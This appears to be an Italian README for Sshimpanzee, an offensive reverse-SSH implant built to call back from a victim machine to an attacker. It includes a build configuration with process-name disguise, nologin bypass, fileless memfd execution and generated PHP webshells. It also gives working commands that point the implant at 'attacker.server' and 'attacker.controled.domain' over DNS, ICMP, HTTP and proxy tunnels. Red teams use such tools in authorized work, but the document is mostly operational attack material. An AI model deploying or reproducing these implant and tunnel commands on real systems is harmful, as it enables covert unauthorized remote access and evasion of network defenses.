Sshimpanzee

Sshimpanzee ti permette di costruire un server ssh reverse statico. Invece di mettersi in ascolto su una porta e attendere connessioni, il server ssh avvierà una connessione inversa verso l'IP dell'attaccante, proprio come una normale reverse shell. Sshimpanzee ti permette di sfruttare tutte le funzionalità di una normale connessione ssh, come port forwarding, proxy dinamici SOCKS o server FTP.

Ancora più importante, se una connessione diretta dalla macchina vittima al server attaccante non è possibile, fornisce diversi meccanismi di tunneling come DNS Tunnelling, ICMP Tunnelling o HTTP Encapsulation. Supporta anche proxy HTTP e SOCKS5. Un articolo tecnico è disponibile sul blog di lexfo.

BUILD DOCKER - RACCOMANDATO

sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Potrebbe essere necessario abilitare la variabile d'ambiente DOCKER_BUILDKIT=1

File di compilazione

La build viene creata sulla base del file build.yaml:

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Utilizzo

A runtime, il binario sshimpanzee viene configurato tramite variabili d'ambiente. La variabile MODE permette all'utente di selezionare tra i tunnel compilati. Ogni tunnel può essere configurato tramite variabili d'ambiente. Ad esempio, per ottenere una classica connessione inversa verso 127.0.0.1:8080 usa il seguente comando:

MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

È possibile eseguire sshimpanzee in modalità debug con -d. In modalità debug sshimpanzee rimarrà in primo piano.

Tunnel

Attualmente sshimpanzee supporta diversi modi per cui l'impianto può contattare il client ssh dell'attaccante:

• DNS Tunnelling usando il protocollo dns2tcp
• Proxy: HTTP/SOCKS4/SOCKS5
• Socket: (potrebbe essere utile se vuoi implementare i tuoi tunnel)
• Tunnel ICMP
• Incapsulamento HTTP

Connessione via Socket

1. Esegui ssh lato client come segue:

ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT

2. Esegui sshimpanzee sul target:

MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

Altri esempi:

MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # si lega e ascolta su 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Si connette al socket Unix /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Si lega e ascolta sul socket Unix /tmp/sock 

Connessione tramite proxy

1. Esegui ssh lato client come segue:

ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT

2. Esegui sshimpanzee sul target:

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Altri esempi:

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

Usare il DNS Tunneling

1. Sul tuo server esegui il dns2tcpd standard usando il file di configurazione in questo repository, dovrai modificare il dominio (e la porta della risorsa se desideri).

listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080

sudo ./dns2tcpd -F -f dns2tcpdrc

2. Esegui ssh lato client come segue:

ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT

3. Esegui il binario sshimpanzee:

MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Altri esempi:

MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Forza l'uso del risolutore DNS 8.8.8.8

Usare il tunneling ICMP

1. Sul tuo server, aggiungi le capacità appropriate per evitare di eseguire il proxycommand come root e disabilita la risposta ping dal sistema

sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 

2. Esegui il client ssh standard con icmptunnel come proxycommand:

ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 

3. Esegui il binario sshimpanzee:

MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

Usare l'incapsulamento HTTP (ssh -> server HTTP -> sshd)

1. Carica il file /tuns/http_enc/proxy.php e i file sshd sul tuo server web target

2. Assicurati che proxy.php venga eseguito correttamente

3. Esegui il binario sshd sul server web

MODE=http_enc ./sshimpanzee